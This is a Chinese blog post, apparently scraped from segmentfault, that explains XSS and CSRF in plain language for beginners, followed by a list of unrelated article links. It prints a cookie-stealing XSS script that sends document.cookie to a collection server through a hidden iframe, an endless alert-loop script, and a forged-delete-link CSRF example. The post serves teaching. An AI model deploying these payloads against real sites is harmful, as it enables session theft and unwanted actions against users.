https://segmentfault.com/a/1190000007059639

这两个关键词也是老生常谈了,但是还总是容易让人忘记与搞混~。
XSS与CSRF这两个关键词时常被拉出来一起比较(尤其是面试),我在这里也在写一篇扫盲文,也帮自己整理一下知识脉络。

这篇文章会用尽量“人话”的语言解释这二个关键词,让同学们对跨域,安全有更深一层次的了解。

国际惯例,先上一下维基百科:

XSS:跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言
I
CSRF:跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法


维基的解释依旧高深莫测啊,我用 “人话”给大家解释一下吧。

XSS: 通过客户端脚本语言(最常见如:JavaScript)
在一个论坛发帖中发布一段恶意的JavaScript代码就是脚本注入,如果这个代码内容有请求外部服务器,那么就叫做XSS!

CSRF:又称XSRF,冒充用户发起请求(在用户不知情的情况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)。

很多同学会搞不明白XSS与CSRF的区别,虽然这两个关键词时常抱团出现,但他们两个是不同维度的东西(或者说他们的目的是不一样的)。
XSS更偏向于方法论,CSRF更偏向于一种形式,只要是伪造用户发起的请求,都可成为CSRF攻击。

通常来说CSRF是由XSS实现的,所以CSRF时常也被称为XSRF[用XSS的方式实现伪造请求](但实现的方式绝不止一种,还可以直接通过命令行模式(命令行敲命令来发起请求)直接伪造请求[只要通过合法验证即可])。
XSS更偏向于代码实现(即写一段拥有跨站请求功能的JavaScript脚本注入到一条帖子里,然后有用户访问了这个帖子,这就算是中了XSS攻击了),CSRF更偏向于一个攻击结果,只要发起了冒牌请求那么就算是CSRF了。

简单来说,条条大路(XSS路,命令行路)通罗马(CSRF马,XSRF马)。

前面讲了那么多理论介绍,那么我们来看一看实际代码吧。

【 Talk is cheap,Show me the code 】

场景:我在一条帖子里面写下了如下代码,发了出去,然后陆陆续续有很多可爱(wu / zhi) 的用户访问到这个帖子,然后用户接下来的所有操作都由我这串代码掌控了(各种姿势混着玩~)

如下:

while(true){alert('你关不掉我');
}

这个就是最原始的脚本注入了。
用户进来就麻烦了,一直弹窗一直弹窗。

那么XSS(跨站脚本)就是照瓢画葫了,用JavaScript写一个请求跨站的脚本就是XSS了,如下:


// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) { // 构造泄露信息用的 URL var cookies = document.cookie; var xssURIBase = "http://192.168.123.123/myxss/"; var xssURI = xssURIBase + window.encodeURI(cookies); // 建立隐藏 iframe 用于通讯 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 开工 document.body.appendChild(hideFrame); })(window, document);

此段代码携带着cookie信息传输给了 http://192.168.123.123/myxss/... 这段服务器,然后服务器的代码就可以接收到了用户的隐私消息,继而继续做其他的业务处理(myxss/index.php 中写一些可怕的代码,如把用户信息存进自己的数据库)。

有没感觉到背后一寒

看到这里感觉到危险了吧(想想初学程序时我们的站点完全没有这个意识,活生生的是在裸奔),=
既然此段脚本注入能携带着用户信息到收集服务器,那么再研究研究,他自然能发邮件?发帖?一系列业务逻辑? ~~当然可以!。

这里tips一下:上面的代码仅仅是XSS,并没有发生CSRF,因为192.168.123.123/myxss/index.php 仅仅是把用户信息存起来了而已,他并没有“伪造”用户发起一些请求,所以他只算是XSS攻击而不算是CSRF攻击,如果192.168.123.123/myxss/index.php 写的代码是 将当前用户的昵称改为“我是大笨猪”,那么就算是CSRF攻击了,因为这段代码伪造用户发出了请求(但是用户却不自知)。

那么下面我介绍一下最最简单的CSRF攻击(没有用到XSS的哦):
一个论坛,经过我的多次抓包分析(着重分析请求返回头,请求返回体)了解到这个论坛的删帖操作是触发 csdnblog.com/bbs/delete_article.php?id=“X" 那么,我只需要在论坛中发一帖,包含一链接:www.csdnblog.com/bbs/delete_article.php?id=“X" ,只要有用户点击了这个链接,那么ID为X的这一篇文章就被删掉了,而且是用户完全不知情的情况(敲黑板状:此处我可没有写XSS脚本哦,我纯粹是发一个url地址出来而已,既然删除操作可以伪造,那么只要我细细分析,其他操作(发帖,改名字,发私信,只要是这个论坛具有的功能)我都可以伪造咯!

XSS与CSRF讲完了,回头我会讲下如何防范XSS与CSRF。

转载于:https://www.cnblogs.com/fengff/p/10904305.html

用大白话谈谈XSS与CSRF相关推荐

  1. php csrf攻击 xss区别,用大白话谈谈XSS与CSRF

    这两个关键词也是老生常谈了,但是还总是容易让人忘记与搞混~. XSS与CSRF这两个关键词时常被拉出来一起比较(尤其是面试),我在这里也在写一篇扫盲文,也帮自己整理一下知识脉络. 这篇文章会用尽量&q ...

  2. 兄弟,用大白话告诉你小白都能看懂的Hadoop架构原理

    本文来自:石杉的架构笔记 目录 一.前奏 二.HDFS的NameNode架构原理 一.前奏 Hadoop是目前大数据领域最主流的一套技术体系,包含了多种技术. 包括HDFS(分布式文件系统),YARN ...

  3. 浅说 XSS 和 CSRF

    在 Web 安全领域中,XSS 和 CSRF 是最常见的攻击方式. XSS XSS,即 Cross Site Script,中译是跨站脚本攻击:其原本缩写是 CSS,但为了和层叠样式表(Cascadi ...

  4. 第三百九十二节,Django+Xadmin打造上线标准的在线教育平台—sql注入攻击,xss攻击,csrf攻击...

    第三百九十二节,Django+Xadmin打造上线标准的在线教育平台-sql注入攻击,xss攻击,csrf攻击 sql注入攻击 也就是黑客通过表单提交的地方,在表单里输入了sql语句,就是通过SQL语 ...

  5. 总结 XSS 与 CSRF 两种跨站攻击

    在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了.但是 ...

  6. XSS和CSRF详解与防御

    开年遇到的第一个问题就是解决XSS攻击>_<,可见要时刻保证网站的安全性至关重要.做好网站安全,不仅维护网站的稳定性,更保证用户数据的一致性.对此,总结一下笔者在工作中遇到的安全问题以及防 ...

  7. 浅说 XSS和CSRF

    https://github.com/dwqs/blog/issues/68 在 Web 安全领域中,XSS 和 CSRF 是最常见的攻击方式.本文将会简单介绍 XSS 和 CSRF 的攻防问题. 声 ...

  8. 浅谈Web前端安全策略xss和csrf,及又该如何预防?

    Web前端安全策略xss和csrf的攻击和防御 一.XSS跨站请求攻击 1.什么是XSS 2.场景模拟 3.XSS的攻击类型 4.如何防御XSS 二.XSRF跨站请求伪造 1.什么是csrf 2.场景 ...

  9. XSS与CSRF两种跨站攻击比较

    XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...

  10. 趣解 XSS和CSRF的原理

    参考文章:趣解 XSS和CSRF的原理 推荐网站:古黑论 感谢作者分享!

最新文章

  1. 独家|OpenCV 1.6 改变图像的对比度和亮度!
  2. 基于SpringBoot的乡村医生诊疗系统的设计与实现
  3. C#游戏开发快速入门 2.1 构建游戏场景
  4. Win32系统下安装Win64补充说明
  5. stm32f103r6最小系统原理图_超强PCB布线设计经验谈附原理图
  6. java运行时异常中文_JAVA——运行时异常(RuntimeException)
  7. Sesame 2.7.0 发布,Java 的 RDF 开发包
  8. erlang的dict源码解析(2)
  9. SocketType 枚举----指定 Socket 类的实例表示的套接字的类型
  10. 网络安全系列之五十四 为GRUB引导菜单设置密码
  11. 北大青鸟汉字注释机内码_汉字与机内码相互转换程序
  12. 国稻种芯百团计划行动 胡培松:早稻可以向用途多元化发展
  13. 时空序列预测模型之PredRNN(用ST-LSTM的预测学习循环神经网络)
  14. Linux内核详解与内核优化方案
  15. 2020电赛F题总结回顾(openmv实现视觉)
  16. 使用Best Trace工具查看VPS的去程和回程线路的路由
  17. 计算机二级MS office(word 01)
  18. 网站如何知道浏览器的用户在使用什么语言?
  19. 响应式网页设计的概念和应用
  20. 安卓开发教你监听手机Home键

热门文章

  1. 详解深度学习中的梯度消失、爆炸原因及其解决方法
  2. typecho添加html5视频播放器,DPlayer-Typecho视频播放插件
  3. 阿里云服务器学生免费领取指南
  4. 蓝色学校网站模板_中小学网站源码_学校网站管理系统
  5. 大大学校园计算机市场分析,笔记本电脑大学生市场调研报告
  6. 200个句子涵盖了高中英语4500词汇
  7. hadoop之求和和自定义排序编程
  8. 2019 Multi-University Training Contest 3 题解
  9. 如何提升数据化管理效率
  10. python已知三角形的顶点坐标,求任一顶点角度